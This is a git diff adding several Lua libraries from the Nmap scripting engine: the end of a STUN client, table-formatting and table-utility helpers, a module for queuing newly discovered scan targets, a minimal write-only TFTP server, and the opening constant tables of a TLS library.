+ attr.addr = parseAddress(data, pos)
+ elseif( attr.type == Attribute.SERVER ) then
+ attr.server = data:sub(pos, pos + attr.length - 1)
+ end
+
+ return attr
+ end,
+
+ -- converts an attribute to string
+ -- @return string containing the serialized attribute
+ __tostring = function(self)
+ return string.pack(">I2I2", self.type, self.length) .. (self.data or "")
+ end,
+
+}
+
+-- Response class container
+Response = {
+
+ -- Bind response class
+ Bind = {
+
+ --- creates a new instance of the Bind response
+ -- @param trans_id string containing the 128 bit transaction id
+ -- @return new Bind instance
+ -- @name Response.Bind.new
+ new = function(self, trans_id)
+ local o = { header = Header:new(MessageType.BINDING_RESPONSE, trans_id) }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- parses a raw string and creates a new Bind instance
+ -- @param data string containing the raw data
+ -- @return a new Bind instance
+ -- @name Response.Bind.parse
+ parse = function(data)
+ local resp = Response.Bind:new()
+ local pos = Header.size + 1
+
+ resp.header = Header.parse(data)
+ resp.attributes = {}
+
+ while( pos < #data ) do
+ local attr = Attribute.parse(data:sub(pos))
+ table.insert(resp.attributes, attr)
+ pos = pos + attr.length + 4
+ end
+ return resp
+ end
+ }
+}
+
+-- The communication class
+Comm = {
+
+ --- creates a new Comm instance
+ -- @param host table
+ -- @param port table
+ -- @param options table, currently supporting:
+ -- <code>timeout</code> - socket timeout in ms.
+ -- @return new instance of Comm
+ -- @name Comm.new
+ new = function(self, host, port, options)
+ local o = {
+ host = host,
+ port = port,
+ options = options or { timeout = 10000 },
+ socket = nmap.new_socket(),
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- connects the socket to the server
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message, if status is false
+ -- @name Comm.connect
+ connect = function(self)
+ self.socket:set_timeout(self.options.timeout)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ --- sends a request to the server
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message, if status is false
+ -- @name Comm.send
+ send = function(self, data)
+ return self.socket:send(data)
+ end,
+
+ --- receives a response from the server
+ -- @return status true on success, false on failure
+ -- @return response containing a response instance, or
+ -- err string containing an error message, if status is false
+ -- @name Comm.recv
+ recv = function(self)
+ local status, hdr_data = self.socket:receive_buf(match.numbytes(Header.size), true)
+ if ( not(status) ) then
+ return false, "Failed to receive response from server"
+ end
+
+ local header = Header.parse(hdr_data)
+ if ( not(header) ) then
+ return false, "Failed to parse response header"
+ end
+
+ local status, data = self.socket:receive_buf(match.numbytes(header.length), true)
+ if ( header.type == MessageType.BINDING_RESPONSE ) then
+ local resp = Response.Bind.parse(hdr_data .. data)
+ return true, resp
+ end
+
+ return false, "Unknown response message received"
+ end,
+
+ --- sends the request instance to the server and receives the response
+ -- @param req request class instance
+ -- @return status true on success, false on failure
+ -- @return response containing a response instance, or
+ -- err string containing an error message, if status is false
+ -- @name Comm.exch
+ exch = function(self, req)
+ local status, err = self:send(tostring(req))
+ if ( not(status) ) then
+ return false, "Failed to send request to server"
+ end
+ return self:recv()
+ end,
+
+ --- closes the connection to the server
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message, if status is false
+ -- @name Comm.close
+ close = function(self)
+ self.socket:close()
+ end,
+}
+
+-- The Helper class
+Helper = {
+
+ --- creates a new Helper instance
+ -- @param host table
+ -- @param port table
+ -- @param options table, currently supporting:
+ -- <code>timeout</code> - socket timeout in ms.
+ -- @param mode containing the mode container. Supported containers: "modern"
+ -- (default) or "classic"
+ -- @return o new instance of Helper
+ -- @name Helper.new
+ new = function(self, host, port, options, mode)
+ local o = {
+ mode = mode or stdnse.get_script_args("stun.mode") or "modern",
+ comm = Comm:new(host, port, options),
+ }
+ assert(o.mode == "modern" or o.mode == "classic", "Unsupported mode")
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- connects to the server
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message, if status is false
+ -- @name Helper.connect
+ connect = function(self)
+ return self.comm:connect()
+ end,
+
+ --- Gets the external public IP
+ -- @return status true on success, false on failure
+ -- @return result containing the IP as string
+ -- @name Helper.getExternalAddress
+ getExternalAddress = function(self)
+ local trans_id
+
+ if ( self.mode == "classic" ) then
+ trans_id = rand.random_string(16)
+ else
+ trans_id = "\x21\x12\xA4\x42" .. rand.random_string(12)
+ end
+ local req = Request.Bind:new(trans_id)
+
+ local status, response = self.comm:exch(req)
+ if ( not(status) ) then
+ return false, "Failed to send data to server"
+ end
+
+ local result
+ for k, attr in pairs(response.attributes) do
+ if (attr.type == Attribute.MAPPED_ADDRESS ) then
+ result = ( attr.addr and attr.addr.ip or "<unknown>" )
+ end
+ if ( attr.type == Attribute.SERVER ) then
+ self.cache = self.cache or {}
+ self.cache.server = attr.server
+ end
+ end
+
+ if ( not(result) and not(self.cache) ) then
+ return false, "Server returned no response"
+ end
+
+ return status, result
+ end,
+
+ --- Gets the server version if it was returned by the server
+ -- @return status true on success, false on failure
+ -- @return version string containing the server product and version
+ -- @name Helper.getVersion
+ getVersion = function(self)
+ local status, response = false, nil
+ -- check if the server version was cached
+ if ( not(self.cache) or not(self.cache.version) ) then
+ local status, response = self:getExternalAddress()
+ if ( status ) then
+ return true, (self.cache and self.cache.server or "")
+ end
+ return false, response
+ end
+ return true, (self.cache and self.cache.server or "")
+ end,
+
+ --- closes the connection to the server
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message, if status is false
+ -- @name Helper.close
+ close = function(self)
+ return self.comm:close()
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/tab.lua b/nselib/tab.lua
new file mode 100644
index 0000000..03d2528
--- /dev/null
+++ b/nselib/tab.lua
@@ -0,0 +1,129 @@
+---
+-- Arrange output into tables.
+--
+-- This module provides NSE scripts with a way to output structured tables
+-- similar to what <code>NmapOutputTable.cc</code> provides.
+--
+-- Example usage:
+-- <code>
+-- local t = tab.new()
+-- tab.add(t, 1, 'A1')
+-- tab.add(t, 2, 'A2')
+-- tab.nextrow(t)
+-- tab.add(t, 1, 'BBBBBBBBB1')
+-- tab.add(t, 2, 'BBB2')
+-- tab.nextrow(t)
+-- tab.addrow(t, 'C1', 'C2')
+-- tab.dump(t)
+-- </code>
+--
+-- <code>tab.add</code> works on the bottom-most row until
+-- <code>tab.nextrow</code> is called. Think of <code>tab.nextrow</code> as
+-- typing Enter at the end of a line. <code>tab.addrow</code> adds a whole row
+-- at a time and calls <code>tab.nextrow</code> automatically.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local stdnse = require "stdnse"
+local strbuf = require "strbuf"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("tab", stdnse.seeall)
+
+--- Create and return a new table.
+-- @return A new table.
+function new()
+ local t = {}
+
+ t.current_row = 1
+ setmetatable(t, {__tostring=dump})
+ return t
+end
+
+--- Add a new string item to a table at a given column position.
+--
+-- The item will be added to the current row. If <code>nextrow</code> hasn't
+-- been called yet that will be row 1.
+-- @param t The table.
+-- @param v The string to add.
+-- @param c The column position at which to add the item.
+function add(t, c, v)
+ assert(t)
+ assert(type(v) == "string")
+
+ -- add a new row if one doesn't exist
+ t[t.current_row] = t[t.current_row] or {}
+
+ t[t.current_row][c] = v
+ return true
+end
+
+--- Add a complete row to the table and move on to the next row.
+--
+-- Calls <code>add</code> for each argument starting with the second argument
+-- and after that calls <code>nextrow</code>.
+-- @param t The table.
+-- @param ... The elements to add to the row.
+function addrow(t, ...)
+ for i = 1, select("#", ...) do
+ add(t, i, tostring((select(i, ...))))
+ end
+ nextrow(t)
+end
+
+--- Move on to the next row in the table.
+--
+-- If this is not called then previous column values will be over-written by
+-- subsequent values.
+-- @param t The table.
+function nextrow(t)
+ assert(t)
+ assert(t.current_row)
+ t[t.current_row] = t[t.current_row] or {}
+ t.current_row = t.current_row + 1
+end
+
+--- Return a formatted string representation of the table.
+--
+-- The number of spaces in a column is based on the largest element in the
+-- column with an additional two spaces for padding.
+-- @param t The table.
+function dump(t)
+ assert(t)
+
+ local column_width = {}
+ local num_columns = {}
+ local buf = strbuf.new()
+
+ -- find widest element in each column
+ for i, row in ipairs(t) do
+ num_columns[i] = 0
+ for x, elem in pairs(row) do
+ local elem_width = #elem
+ if not column_width[x] or elem_width > column_width[x] then
+ column_width[x] = elem_width
+ end
+ if x > num_columns[i] then
+ num_columns[i] = x
+ end
+ end
+ end
+
+ -- build buf with padding so all column elements line up
+ for i, row in ipairs(t) do
+ local text_row = {}
+ for x = 1, num_columns[i] do
+ local elem = row[x] or ""
+ if x < num_columns[i] then
+ text_row[#text_row + 1] = elem .. string.rep(" ", column_width[x] - #elem)
+ else
+ text_row[#text_row + 1] = elem
+ end
+ end
+ buf = buf .. table.concat(text_row, " ") .. "\n"
+ end
+
+ return strbuf.dump(buf)
+end
+
+return _ENV;
diff --git a/nselib/tableaux.lua b/nselib/tableaux.lua
new file mode 100644
index 0000000..ae54e89
--- /dev/null
+++ b/nselib/tableaux.lua
@@ -0,0 +1,91 @@
+--- Auxiliary functions for table manipulation
+--
+-- @author Daniel Miller
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name tableaux
+
+local next = next
+local pairs = pairs
+local ipairs = ipairs
+local type = type
+local _ENV = {}
+
+local tcopy_local
+--- Recursively copy a table.
+--
+-- Uses simple assignment to copy keys and values from a table, recursing into
+-- subtables as necessary.
+-- @param t the table to copy
+-- @return a deep copy of the table
+function tcopy (t)
+ local tc = {};
+ for k,v in pairs(t) do
+ if type(v) == "table" then
+ tc[k] = tcopy_local(v);
+ else
+ tc[k] = v;
+ end
+ end
+ return tc;
+end
+tcopy_local = tcopy
+
+--- Copy one level of a table.
+--
+-- Iterates over the keys of a table and copies their values into a new table.
+-- If any values are tables, they are copied by reference only, and modifying
+-- the copy will modify the original table value as well.
+-- @param t the table to copy
+-- @return a shallow copy of the table
+function shallow_tcopy(t)
+ local k = next(t)
+ local out = {}
+ while k do
+ out[k] = t[k]
+ k = next(t, k)
+ end
+ return out
+end
+
+--- Invert a one-to-one mapping
+-- @param t the table to invert
+-- @return an inverted mapping
+function invert(t)
+ local out = {}
+ for k, v in pairs(t) do
+ out[v] = k
+ end
+ return out
+end
+
+--- Check for the presence of a value in a table
+--@param t the table to search into
+--@param item the searched value
+--@array (optional) If true, then use ipairs to only search the array indices of the table.
+--@return Boolean true if the item was found, false if not
+--@return The index or key where the value was found, or nil
+function contains(t, item, array)
+ local iter = array and ipairs or pairs
+ for k, val in iter(t) do
+ if val == item then
+ return true, k
+ end
+ end
+ return false, nil
+end
+
+--- Returns the keys of a table as an array
+-- @param t The table
+-- @return A table of keys
+function keys(t)
+ local ret = {}
+ local k, v = next(t)
+ while k ~= nil do
+ ret[#ret+1] = k
+ k, v = next(t, k)
+ end
+ return ret
+end
+
+return _ENV
diff --git a/nselib/target.lua b/nselib/target.lua
new file mode 100644
index 0000000..46e4df2
--- /dev/null
+++ b/nselib/target.lua
@@ -0,0 +1,115 @@
+---
+-- Utility functions to add new discovered targets to Nmap scan queue.
+--
+-- The library lets scripts to add new discovered targets to Nmap scan
+-- queue. Only scripts that run in the script pre-scanning phase
+-- (prerule) and the script scanning phase (hostrule and portrule) are
+-- able to add new targets. Post-scanning scripts (postrule) are not
+-- allowed to add new targets.
+--
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @args newtargets If specified, lets NSE scripts add new targets.
+-- @args max-newtargets Sets the number of the maximum allowed
+-- new targets. If set to 0 or less then there
+-- is no limit. The default value is 0.
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local type = type
+local select = select
+local tonumber = tonumber
+
+_ENV = stdnse.module("target", stdnse.seeall)
+
+
+-- This is a special variable and it is a global one, so
+-- scripts can check it to see if adding targets is allowed,
+-- before calling target.add() function.
+-- This variable will be set to true if the script argument
+-- 'newtargets' was specified.
+ALLOW_NEW_TARGETS = false
+
+local newtargets, max_newtargets = stdnse.get_script_args("newtargets",
+ "max-newtargets")
+if newtargets then
+ ALLOW_NEW_TARGETS = true
+end
+
+if max_newtargets then
+ max_newtargets = tonumber(max_newtargets)
+else
+ max_newtargets = 0
+end
+
+--- Local function to calculate max allowed new targets
+local calc_max_targets = function(targets)
+ if max_newtargets > 0 then
+ local pushed_targets = nmap.new_targets_num()
+ if pushed_targets >= max_newtargets then
+ return 0
+ elseif (targets + pushed_targets) > max_newtargets then
+ return (max_newtargets - pushed_targets)
+ end
+ end
+ return targets
+end
+
+--- Adds the passed arguments to the Nmap scan queue.
+--
+-- Only prerule, portrule and hostrule scripts can add new targets.
+--
+-- @param targets A variable number of targets. Target is a
+-- string that represents an IP or a Hostname. If this function
+-- is called without target arguments then it will return true
+-- and the number of pending targets (waiting to be scanned).
+-- @usage
+-- local status, err = target.add("192.168.1.1")
+-- local status, err = target.add("192.168.1.1","192.168.1.2",...)
+-- local status, err = target.add("scanme.nmap.org","192.168.1.1",...)
+-- local status, err = target.add(table.unpack(array_of_targets))
+-- local status, pending_targets = target.add()
+-- @return True if it has been able to add a minimum one target, or
+-- False on failures and if no targets were added. If this
+-- function is called without target arguments then it will
+-- return true.
+-- @return Number of added targets on success, or a string error
+-- message in case of failures. If this function is called
+-- without target arguments then it will return the number
+-- of targets that are in the queue (waiting to be scanned).
+add = function (...)
+ -- Force the check here, but it would be better if scripts
+ -- check ALLOW_NEW_TARGETS before calling target.add()
+ if not ALLOW_NEW_TARGETS then
+ stdnse.debug1(
+ "ERROR: to add targets run with --script-args 'newtargets'")
+ return false, "to add targets run with --script-args 'newtargets'"
+ end
+
+ local new_targets = {count = select("#", ...), ...}
+
+ -- function called without arguments
+ if new_targets.count == 0 then
+ return true, nmap.add_targets()
+ end
+
+ new_targets.count = calc_max_targets(new_targets.count)
+
+ if new_targets.count == 0 then
+ stdnse.debug3(
+ "Warning: Maximum new targets reached, no more new targets.")
+ return false, "Maximum new targets reached, no more new targets."
+ end
+
+ local hosts, err = nmap.add_targets(table.unpack(new_targets,1,new_targets.count))
+
+ if hosts == 0 then
+ stdnse.debug3("%s", err)
+ return false, err
+ end
+
+ return true, hosts
+end
+
+return _ENV;
diff --git a/nselib/tftp.lua b/nselib/tftp.lua
new file mode 100644
index 0000000..c34d2af
--- /dev/null
+++ b/nselib/tftp.lua
@@ -0,0 +1,347 @@
+--- Library implementing a minimal TFTP server
+--
+-- Currently only write-operations are supported so that script can trigger
+-- TFTP transfers and receive the files and return them as result.
+--
+-- The library contains the following classes
+-- * <code>Packet</code>
+-- ** The <code>Packet</code> classes contain one class for each TFTP operation.
+-- * <code>File</code>
+-- ** The <code>File</code> class holds a received file including the name and contents
+-- * <code>ConnHandler</code>
+-- ** The <code>ConnHandler</code> class handles and processes incoming connections.
+--
+-- The following code snippet starts the TFTP server and waits for the file incoming.txt
+-- to be uploaded for 10 seconds:
+-- <code>
+-- tftp.start()
+-- local status, f = tftp.waitFile("incoming.txt", 10)
+-- if ( status ) then return f:getContent() end
+-- </code>
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+
+-- version 0.2
+--
+-- 2011-01-22 - re-wrote library to use coroutines instead of new_thread code.
+
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("tftp", stdnse.seeall)
+
+threads, infiles, running = {}, {}, {}
+state = "STOPPED"
+srvthread = {}
+
+-- All opcodes supported by TFTP
+OpCode = {
+ RRQ = 1,
+ WRQ = 2,
+ DATA = 3,
+ ACK = 4,
+ ERROR = 5,
+}
+
+
+--- A minimal packet implementation
+--
+-- The current code only implements the ACK and ERROR packets
+-- As the server is write-only the other packet types are not needed
+Packet = {
+
+ -- Implements the ACK packet
+ ACK = {
+
+ new = function( self, block )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.block = block
+ return o
+ end,
+
+ __tostring = function( self )
+ return string.pack(">I2I2", OpCode.ACK, self.block)
+ end,
+
+ },
+
+ -- Implements the error packet
+ ERROR = {
+
+ new = function( self, code, msg )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.msg = msg
+ o.code = code
+ return o
+ end,
+
+ __tostring = function( self )
+ return string.pack(">I2I2z", OpCode.ERROR, self.code, self.msg)
+ end,
+ }
+
+}
+
+--- The File class holds files received by the TFTP server
+File = {
+
+ --- Creates a new file object
+ --
+ -- @param filename string containing the filename
+ -- @param content string containing the file content
+ -- @return o new class instance
+ new = function(self, filename, content, sender)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.name = filename
+ o.content = content
+ o.sender = sender
+ return o
+ end,
+
+ getContent = function(self) return self.content end,
+ setContent = function(self, content) self.content = content end,
+
+ getName = function(self) return self.name end,
+ setName = function(self, name) self.name = name end,
+
+ setSender = function(self, sender) self.sender = sender end,
+ getSender = function(self) return self.sender end,
+}
+
+
+-- The thread dispatcher is called by the start function once
+local function dispatcher()
+
+ local last = os.time()
+ local f_condvar = nmap.condvar(infiles)
+ local s_condvar = nmap.condvar(state)
+
+ while(true) do
+
+ -- check if other scripts are active
+ local counter = 0
+ for t in pairs(running) do
+ counter = counter + 1
+ end
+ if ( counter == 0 ) then
+ state = "STOPPING"
+ s_condvar "broadcast"
+ end
+
+ if #threads == 0 then break end
+ for i, thread in ipairs(threads) do
+ local status, res = coroutine.resume(thread)
+ if ( not(res) ) then -- thread finished its task?
+ table.remove(threads, i)
+ break
+ end
+ end
+
+ -- Make sure to process waitFile atleast every 2 seconds
+ -- in case no files have arrived
+ if ( os.time() - last >= 2 ) then
+ last = os.time()
+ f_condvar "broadcast"
+ end
+
+ end
+ state = "STOPPED"
+ s_condvar "broadcast"
+ stdnse.debug1("Exiting _dispatcher")
+end
+
+-- Processes a new incoming file transfer
+-- Currently only uploads are supported
+--
+-- @param host containing the hostname or ip of the initiating host
+-- @param port containing the port of the initiating host
+-- @param data string containing the initial data passed to the server
+local function processConnection( host, port, data )
+ local op, pos = string.unpack(">I2", data)
+ local socket = nmap.new_socket("udp")
+
+ socket:set_timeout(1000)
+ local status, err = socket:connect(host, port)
+ if ( not(status) ) then return status, err end
+
+ socket:set_timeout(10)
+
+ -- If we get anything else than a write request, abort the connection
+ if ( OpCode.WRQ ~= op ) then
+ stdnse.debug1("Unsupported opcode")
+ socket:send( tostring(Packet.ERROR:new(0, "TFTP server has write-only support")))
+ end
+
+ local filename, enctype, pos = string.unpack("zz", data, pos)
+ status, err = socket:send( tostring( Packet.ACK:new(0) ) )
+
+ local blocks = {}
+ local lastread = os.time()
+
+ while( true ) do
+ local status, pdata = socket:receive()
+ if ( not(status) ) then
+ -- if we're here and haven't successfully read a packet for 5 seconds, abort
+ if ( os.time() - lastread > 5 ) then
+ coroutine.yield(false)
+ else
+ coroutine.yield(true)
+ end
+ else
+ -- record last time we had a successful read
+ lastread = os.time()
+ op, pos = string.unpack(">I2", pdata)
+ if ( OpCode.DATA ~= op ) then
+ stdnse.debug1("Expected a data packet, terminating TFTP transfer")
+ end
+
+ local block, data
+ block, data, pos = string.unpack(">I2 c" .. #pdata - 4, pdata, pos )
+
+ blocks[block] = data
+
+ -- First block was not 1
+ if ( #blocks == 0 ) then
+ socket:send( tostring(Packet.ERROR:new(0, "Did not receive block 1")))
+ break
+ end
+
+ -- for every fifth block check that we've received the preceding four
+ if ( ( #blocks % 5 ) == 0 ) then
+ for b = #blocks - 4, #blocks do
+ if ( not(blocks[b]) ) then
+ socket:send( tostring(Packet.ERROR:new(0, "Did not receive block " .. b)))
+ end
+ end
+ end
+
+ -- Ack the data block
+ status, err = socket:send( tostring(Packet.ACK:new(block)) )
+
+ if ( ( #blocks % 20 ) == 0 ) then
+ -- yield every 5th iteration so other threads may work
+ coroutine.yield(true)
+ end
+
+ -- If the data length was less than 512, this was our last block
+ if ( #data < 512 ) then
+ socket:close()
+ break
+ end
+ end
+ end
+
+ local filecontent = {}
+
+ -- Make sure we received all the blocks needed to proceed
+ for i=1, #blocks do
+ if ( not(blocks[i]) ) then
+ return false, ("Block #%d was missing in transfer")
+ end
+ filecontent[#filecontent+1] = blocks[i]
+ end
+ stdnse.debug1("Finished receiving file \"%s\"", filename)
+
+ -- Add anew file to the global infiles table
+ table.insert( infiles, File:new(filename, table.concat(filecontent), host) )
+
+ local condvar = nmap.condvar(infiles)
+ condvar "broadcast"
+end
+
+-- Waits for a connection from a client
+local function waitForConnection()
+
+ local srvsock = nmap.new_socket("udp")
+ local status = srvsock:bind(nil, 69)
+ assert(status, "Failed to bind to TFTP server port")
+
+ srvsock:set_timeout(0)
+
+ while( state == "RUNNING" ) do
+ local status, data = srvsock:receive()
+ if ( not(status) ) then
+ coroutine.yield(true)
+ else
+ local status, _, _, rhost, rport = srvsock:get_info()
+ local x = coroutine.create( function() processConnection(rhost, rport, data) end )
+ table.insert( threads, x )
+ coroutine.yield(true)
+ end
+ end
+end
+
+
+--- Starts the TFTP server and creates a new thread handing over to the dispatcher
+function start()
+ local disp = nil
+ local mutex = nmap.mutex("srvsocket")
+
+ -- register a running script
+ running[coroutine.running()] = true
+
+ mutex "lock"
+ if ( state == "STOPPED" ) then
+ srvthread = coroutine.running()
+ table.insert( threads, coroutine.create( waitForConnection ) )
+ stdnse.new_thread( dispatcher )
+ state = "RUNNING"
+ end
+ mutex "done"
+
+end
+
+local function waitLast()
+ -- The thread that started the server needs to wait here until the rest
+ -- of the scripts finish running. We know we are done once the state
+ -- shifts to STOPPED and we get a signal from the condvar in the
+ -- dispatcher
+ local s_condvar = nmap.condvar(state)
+ while( srvthread == coroutine.running() and state ~= "STOPPED" ) do
+ s_condvar "wait"
+ end
+end
+
+--- Waits for a file with a specific filename for at least the number of
+-- seconds specified by the timeout parameter.
+--
+-- If this function is called from the thread that's running the server it will
+-- wait until all the other threads have finished executing before returning.
+--
+-- @param filename string containing the name of the file to receive
+-- @param timeout number containing the minimum number of seconds to wait
+-- for the file to be received
+-- @return status true on success false on failure
+-- @return File instance on success, nil on failure
+function waitFile( filename, timeout )
+ local condvar = nmap.condvar(infiles)
+ local t = os.time()
+ while(os.time() - t < timeout) do
+ for _, f in ipairs(infiles) do
+ if (f:getName() == filename) then
+ running[coroutine.running()] = nil
+ waitLast()
+ return true, f
+ end
+ end
+ condvar "wait"
+ end
+ -- de-register a running script
+ running[coroutine.running()] = nil
+ waitLast()
+
+ return false
+end
+
+return _ENV;
diff --git a/nselib/tls.lua b/nselib/tls.lua
new file mode 100644
index 0000000..b74306b
--- /dev/null
+++ b/nselib/tls.lua
@@ -0,0 +1,1988 @@
+---
+-- A library providing functions for doing TLS/SSL communications
+--
+-- These functions will build strings and process buffers. Socket communication
+-- is left to the script to implement.
+--
+-- @args tls.servername Hostname to use in the Server Name Indication (SNI)
+-- extension. Overrides the target name given on the
+-- command line and affects all targets.
+-- @author Daniel Miller
+
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local math = require "math"
+local os = require "os"
+local table = require "table"
+local tableaux = require "tableaux"
+local rand = require "rand"
+_ENV = stdnse.module("tls", stdnse.seeall)
+
+local pack = string.pack
+local unpack = string.unpack
+local tostring = tostring
+local concat = table.concat
+local insert = table.insert
+
+-- Most of the values in the tables below are from:
+-- http://www.iana.org/assignments/tls-parameters/
+PROTOCOLS = {
+ ["SSLv3"] = 0x0300,
+ ["TLSv1.0"] = 0x0301,
+ ["TLSv1.1"] = 0x0302,
+ ["TLSv1.2"] = 0x0303,
+ ["TLSv1.3"] = 0x0304,
+}
+HIGHEST_PROTOCOL = "TLSv1.3"
+local TLS_PROTOCOL_VERSIONS = tableaux.invert(PROTOCOLS)
+
+--
+-- TLS Record Types
+--
+TLS_RECORD_HEADER_LENGTH = 5
+
+TLS_CONTENTTYPE_REGISTRY = {
+ ["change_cipher_spec"] = 20,
+ ["alert"] = 21,
+ ["handshake"] = 22,
+ ["application_data"] = 23,
+ ["heartbeat"] = 24,
+ ["tls12_cid"] = 25,
+ ["ACK"] = 26,
+}
+
+local TLS_CONTENTTYPES = tableaux.invert(TLS_CONTENTTYPE_REGISTRY)
+
+--
+-- TLS Alert Levels
+--
+TLS_ALERT_LEVELS = {
+ ["warning"] = 1,
+ ["fatal"] = 2,
+}
+
+--
+-- TLS Alert Record Types
+--
+TLS_ALERT_REGISTRY = {
+ ["close_notify"] = 0,
+ ["unexpected_message"] = 10,
+ ["bad_record_mac"] = 20,
+ ["decryption_failed"] = 21,
+ ["record_overflow"] = 22,
+ ["decompression_failure"] = 30,
+ ["handshake_failure"] = 40,
+ ["no_certificate"] = 41,
+ ["bad_certificate"] = 42,
+ ["unsupported_certificate"] = 43,
+ ["certificate_revoked"] = 44,
+ ["certificate_expired"] = 45,
+ ["certificate_unknown"] = 46,
+ ["illegal_parameter"] = 47,
+ ["unknown_ca"] = 48,
+ ["access_denied"] = 49,
+ ["decode_error"] = 50,
+ ["decrypt_error"] = 51,
+ ["too_many_cids_requested"] = 52,
+ ["export_restriction"] = 60,
+ ["protocol_version"] = 70,
+ ["insufficient_security"] = 71,
+ ["internal_error"] = 80,
+ ["inappropriate_fallback"] = 86,
+ ["user_canceled"] = 90,
+ ["no_renegotiation"] = 100,
+ ["missing_extension"] = 109,
+ ["unsupported_extension"] = 110,
+ ["certificate_unobtainable"] = 111,
+ ["unrecognized_name"] = 112,
+ ["bad_certificate_status_response"] = 113,
+ ["bad_certificate_hash_value"] = 114,
+ ["unknown_psk_identity"] = 115,
+ ["certificate_required"] = 116,
+ ["no_application_protocol"] = 120,
+}
+
+--
+-- TLS Handshake Record Types
+--
+TLS_HANDSHAKETYPE_REGISTRY = {
+ ["hello_request"] = 0,
+ ["client_hello"] = 1,
+ ["server_hello"] = 2,
+ ["hello_verify_request"] = 3,
+ ["NewSessionTicket"] = 4,
+ ["end_of_early_data"] = 5,
+ ["hello_retry_request"] = 6,
+ ["encrypted_extensions"] = 8,
+ ["request_connection_id"] = 9,
+ ["new_connection_id"] = 10,
+ ["certificate"] = 11,
+ ["server_key_exchange"] = 12,
+ ["certificate_request"] = 13,
+ ["server_hello_done"] = 14,
+ ["certificate_verify"] = 15,
+ ["client_key_exchange"] = 16,
+ ["client_certificate_request"] = 17,
+ ["finished"] = 20,
+ ["certificate_url"] = 21,
+ ["certificate_status"] = 22,
+ ["supplemental_data"] = 23,
+ ["key_update"] = 24,
+ ["compressed_certificate"] = 25,
+ ["ekt_key"] = 26,
+ ["next_protocol"] = 67,
+ ["message_hash"] = 254,
+}
+
+--
+-- Compression Algorithms
+-- http://www.iana.org/assignments/comp-meth-ids
+--
+COMPRESSORS = {
+ ["NULL"] = 0,
+ ["DEFLATE"] = 1,
+ ["LZS"] = 64
+}
+
+---
+-- TLS Supported Groups
+-- RFC 4492 section 5.1.1 "Supported Elliptic Curves Extension".
+ELLIPTIC_CURVES = {
+ sect163k1 = 1, --deprecated
+ sect163r1 = 2, --deprecated
+ sect163r2 = 3, --deprecated
+ sect193r1 = 4, --deprecated
+ sect193r2 = 5, --deprecated
+ sect233k1 = 6, --deprecated
+ sect233r1 = 7, --deprecated
+ sect239k1 = 8, --deprecated
+ sect283k1 = 9, --deprecated
+ sect283r1 = 10, --deprecated
+ sect409k1 = 11, --deprecated
+ sect409r1 = 12, --deprecated
+ sect571k1 = 13, --deprecated
+ sect571r1 = 14, --deprecated
+ secp160k1 = 15, --deprecated
+ secp160r1 = 16, --deprecated
+ secp160r2 = 17, --deprecated
+ secp192k1 = 18, --deprecated
+ secp192r1 = 19, --deprecated
+ secp224k1 = 20, --deprecated
+ secp224r1 = 21, --deprecated
+ secp256k1 = 22, --deprecated
+ secp256r1 = 23,
+ secp384r1 = 24,
+ secp521r1 = 25,
+ brainpoolP256r1 = 26, --RFC7027
+ brainpoolP384r1 = 27,
+ brainpoolP512r1 = 28,
+ ecdh_x25519 = 29, -- rfc8422
+ ecdh_x448 = 30, -- rfc8422
+ brainpoolP256r1tls13 = 31, --RFC8734
+ brainpoolP384r1tls13 = 32,
+ brainpoolP512r1tls13 = 33,
+ GC256A = 34, -- draft-smyshlyaev-tls12-gost-suites
+ GC256B = 35,
+ GC256C = 36,
+ GC256D = 37,
+ GC512A = 38,
+ GC512B = 39,
+ GC512C = 40,
+ curveSM2 = 41, -- RFC 8998
+ ffdhe2048 = 0x0100, --RFC7919
+ ffdhe3072 = 0x0101, --RFC7919
+ ffdhe4096 = 0x0102, --RFC7919
+ ffdhe6144 = 0x0103, --RFC7919
+ ffdhe8192 = 0x0104, --RFC7919
+ arbitrary_explicit_prime_curves = 0xFF01,
+ arbitrary_explicit_char2_curves = 0xFF02,
+}
+
+-- Most likely set, supported by Firefox and Chrome
+DEFAULT_ELLIPTIC_CURVES = {
+ "secp256r1",
+ "secp384r1",
+ "secp521r1",
+ "ecdh_x25519",
+ "ffdhe2048", -- added for TLSv1.3
+}
+
+---
+-- RFC 4492 section 5.1.2 "Supported Point Formats Extension".
+EC_POINT_FORMATS = {
+ uncompressed = 0,
+ ansiX962_compressed_prime = 1,
+ ansiX962_compressed_char2 = 2,
+}
+
+---
+-- RFC 5246 section 7.4.1.4.1. Signature Algorithms
+HashAlgorithms = {
+ none = 0,
+ md5 = 1,
+ sha1 = 2,
+ sha224 = 3,
+ sha256 = 4,
+ sha384 = 5,
+ sha512 = 6,
+ intrinsic = 8,
+}
+SignatureAlgorithms = {
+ anonymous = 0,
+ rsa = 1,
+ dsa = 2,
+ ecdsa = 3,
+ ed25519 = 7,
+ ed448 = 8,
+}
+
+---
+-- TLS v1.3 Signature Algorithms
+SignatureSchemes = {
+ -- RSASSA-PKCS1-v1_5 algorithms
+ rsa_pkcs1_sha256 = 0x0401,
